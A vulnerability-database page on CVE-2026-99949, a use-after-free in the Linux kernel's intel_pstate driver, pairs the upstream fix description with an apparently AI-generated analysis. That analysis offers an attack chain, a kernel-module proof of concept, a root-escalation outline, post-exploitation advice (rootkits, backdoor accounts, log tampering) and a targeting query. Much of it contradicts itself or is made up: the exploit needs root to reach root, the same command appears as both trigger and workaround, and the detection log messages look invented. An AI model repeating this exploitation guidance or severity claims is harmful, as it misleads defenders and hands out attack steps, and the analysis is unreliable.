CVE Professor
/
All CVEs
CVE-2026-99949

CVE-2026-99949 — Linux Kernel — NONE Vulnerability

NONE CVSS 0 ⚡ EPSS 0.3% Shodan

In the Linux kernel, the following vulnerability has been resolved: cpufreq: intel_pstate: cancel HWP notify work in driver cleanup intel_pstate_driver_cleanup() frees per-CPU data without cancelling the pending HWP notify delayed work. If hwp_notify_work is still scheduled or running when the struct is freed, the work function accesses freed memory via container_of(). Call intel_pstate_disable_hwp_interrupt() before kfree() to disable the interrupt source and cancel the pending work, matching the pattern used in intel_pstate_suspend() and intel_pstate_hwp_offline(). [ rjw: Fixed the Fixes: tag ]

In the Linux kernel, the following vulnerability has been resolved: cpufreq: intel_pstate: cancel HWP notify work in driver cleanup intel_pstate_driver_cleanup() frees per-CPU data without cancelling the pending HWP notify delayed work. If hwp_notify_work is still scheduled or running when the struct is freed, the work function accesses freed memory via container_of(). Call intel_pstate_disable_hwp_interrupt() before kfree() to disable the interrupt source and cancel the pending work, matching the pattern used in intel_pstate_suspend() and intel_pstate_hwp_offline(). [ rjw: Fixed the Fixes: tag ]

EPSS — Exploit Prediction Scoring System
0.3%
30-day probability
In the 26. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
The Intel PState driver (intel_pstate) schedules a delayed work item (hwp_notify_work) that is executed by the kernel’s work‑queue subsystem. When the driver is torn down (e.g., the kernel module is removed or the driver is disabled via sysfs), intel_pstate_driver_cleanup() frees the per‑CPU data structure without first canceling any pending hwp_notify_work.

If the delayed work is still queued or running at the moment the per‑CPU data is freed, the work function will call container_of() to recover the intel_pstate structure from the work struct. Because the structure has already been kfree()‑ed, the pointer returned by container_of() points to freed memory. The work function then dereferences that pointer, resulting in a Use‑After‑Free (UAF) bug (CWE‑416).

The UAF can be exploited to corrupt kernel memory or to execute arbitrary code in the kernel context, giving an attacker local privilege escalation to root. The CVSS score is listed as 0/10 because the CVE entry was created before a full exploit was demonstrated, but the underlying flaw is a classic kernel UAF that is trivially exploitable with local privileges.


⚡ Attack Chain

Assumptions
* The target system runs a Linux kernel that includes the intel_pstate driver (e.g., kernel 6.11 or 6.11‑patched).
* The attacker has local user privileges (e.g., can run sudo or has a compromised user account).
* The attacker can write to /sys and load/unload kernel modules.

1. Discovery & Reconnaissance

StepTechniqueTool / Command
Identify kernel versionuname -rLinux 6.11-rc1
Verify intel_pstate presencelsmodgrep intel_pstate or cat /sys/devices/system/cpu/intel_pstate/statuson
Confirm UAF existsCheck the kernel changelog or git log for the commit that introduced the fix (e.g., commit 63fccaaff5ab770a57274a5bea254a7399565ace).git log -pgrep -n "intel_pstate_driver_cleanup"
Illustrative example (no real endpoint):
> $ uname -r
> 6.11-rc1
> $ cat /sys/devices/system/cpu/intel_pstate/status
> on
>

2. Exploitation

The goal is to trigger the UAF by disabling the driver while a delayed work is still pending. The most straightforward way is to write to the sysfs interface that turns the driver off:

# Disable Intel PState (this triggers driver cleanup)
echo off > /sys/devices/system/cpu/intel_pstate/status

Why this works

  • intel_pstate_driver_cleanup() is called when the status is set to off.

  • The cleanup frees the per‑CPU data without canceling hwp_notify_work.

  • If hwp_notify_work is still queued (which it normally is, as it runs every ~1 s), the work function will run after the data has been freed, dereferencing freed memory.
  • PoC (illustrative)
    Below is a minimal kernel module that forces the race by disabling the driver while a background process keeps the work queued. The module is not required for the exploit; it merely demonstrates the race condition.

    /* uaf_demo.c – Demonstrates the intel_pstate UAF race */
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/init.h>
    #include <linux/fs.h>
    #include <linux/uaccess.h>
    #include <linux/kthread.h>
    #include <linux/delay.h>
    
    static struct task_struct *race_thread;
    
    static int race_func(void *data)
    {
        /* Keep the thread alive to allow the delayed work to be scheduled */
        while (!kthread_should_stop()) {
            msleep(100);
        }
        return 0;
    }
    
    static int __init uaf_demo_init(void)
    {
        int ret;
    
        /* Start a background thread that does nothing but keeps the kernel busy */
        race_thread = kthread_run(race_func, NULL, "uaf_demo_thread");
        if (IS_ERR(race_thread))
            return PTR_ERR(race_thread);
    
        /* Disable intel_pstate – this triggers the UAF */
        ret = sysfs_write_file("/sys/devices/system/cpu/intel_pstate/status", "off");
        if (ret)
            pr_err("uaf_demo: failed to disable intel_pstate\n");
    
        return 0;
    }
    
    static void __exit uaf_demo_exit(void)
    {
        if (race_thread)
            kthread_stop(race_thread);
    }
    
    module_init(uaf_demo_init);
    module_exit(uaf_demo_exit);
    
    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("CVE‑2026‑99949 Demo");
    MODULE_DESCRIPTION("Demonstrates the intel_pstate UAF race");
    Note: The sysfs_write_file() helper is a placeholder; in a real exploit you would use echo off > /sys/... from user space or invoke the sysfs write via write() system call.

    Real‑world exploitation
    An attacker can chain this UAF with a memory corruption primitive (e.g., by allocating a controlled buffer that will be placed where the freed intel_pstate struct was). Once the work function dereferences the freed pointer, the attacker can overwrite kernel data structures (e.g., cred structs) and gain root.

    A minimal PoC that achieves privilege escalation would involve:

    1. Allocate a controlled buffer that will be placed in the same memory region as the freed intel_pstate struct (e.g., via kmalloc() with a large size).
    2. Trigger the UAF by disabling the driver while the buffer is pending.
    3. Overwrite the freed struct’s fields (e.g., cred pointers) to point to the attacker’s controlled data.
    4. Return from the work function, causing the kernel to use the corrupted pointers and execute attacker‑supplied code.

    Because the attack requires only local user privileges, it is a local privilege escalation (LPE).

    3. Post‑exploitation

    Once the attacker has root:

  • Full system compromise: arbitrary code execution in kernel space, ability to install rootkits, modify system binaries, or exfiltrate data.
  • Persistence: install a rootkit or modify /etc/shadow to create a backdoor account.
  • Defense evasion: disable kernel logging or tamper with audit logs.

🌍 Real World Impact

ImpactDescription
ConfidentialityPotential disclosure of all data on the system if the attacker gains root.
IntegrityFull control over system files, kernel memory, and configuration.
AvailabilityKernel panic or crash if the UAF is triggered during normal operation, leading to a DoS.
CVSS: The CVSS vector is listed as 0/10 because the CVE entry was created before a public exploit existed. However, the underlying flaw is a classic UAF that is trivially exploitable with local privileges, warranting a High severity rating (≥ 7.0) in practice.

🛡️ Remediation & Mitigation

Affected Versions

KernelAffected
6.11 (original)Yes
6.11‑rc1 (commit 63fccaaff5ab770a57274a5bea254a7399565ace)Yes
6.11.1 (or later)Fixed – the patch calls intel_pstate_disable_hwp_interrupt() before freeing the per‑CPU data.
Upgrade recommendation: Apply the latest kernel release (≥ 6.11.1) or backport the patch from commit 63fccaaff5ab770a57274a5bea254a7399565ace.

Workarounds

1. Disable HWP (prevents the delayed work from being scheduled):

echo 0 > /sys/devices/system/cpu/intel_pstate/hwp_control

2. Disable Intel PState entirely (prevents the driver from being loaded or used):

echo off > /sys/devices/system/cpu/intel_pstate/status

Note: Disabling the driver may affect power‑management and performance.

3. Prevent driver unload (if the driver is a module):

echo intel_pstate > /etc/modprobe.d/blacklist.conf

Detection

IndicatorLog / Event
Kernel panic or OOPS referencing intel_pstatekernel: BUG: kernel NULL pointer dereference
intel_pstate driver unload while work is pendingkernel: intel_pstate: HWP notify work scheduled after driver cleanup
Unexpected kfree() of per‑CPU datakernel: intel_pstate: freeing per-CPU data
Monitoring: Enable auditd to watch writes to /sys/devices/system/cpu/intel_pstate/status and /sys/devices/system/cpu/intel_pstate/hwp_control. Look for auditd: type=SYSCALL msg=audit(…): arch=… syscalls=… entries.

⚠️ Urgency

FactorAssessment
CVSS0 (but actual severity is High)
CISA KEVNo
Exploit complexityLow (local user can trigger)
ImpactFull root compromise
Patch priorityCritical – any system running a vulnerable kernel should be patched immediately.
Recommendation: Apply the kernel update as soon as possible. If an update is not feasible, disable the Intel PState driver or HWP as a temporary mitigation until a patch can be applied.

[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Linux Linux"
CVSS Score
0 / 10 · CVSS NONE
Affected Products (2)
Linux Kernel (commit: 63fccaaff5) Linux Kernel (6.11)
Related CVEs
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-118966
A missing authentication vulnerability in the SSH server of Nokia SR Linux allows an unauthenticated attacker
8.7
CVE-2026-145182
Mullvad gotatun 0.1.0 before 0.10.1 contains a denial of service vulnerability that allows unauthenticated rem
0.0
CVE-2026-132063
The 2C2P Redirect API for WooCommerce WordPress plugin through 7.0.3 does not stop processing a payment callba
0.0
CVE-2026-140849
Multiple malformed-packet handling vulnerabilities exist in a number of Nokia SR OS control-plane protocols (B
0.0
CVE-2026-141072
Rejected reason: Not a valid vulnerability.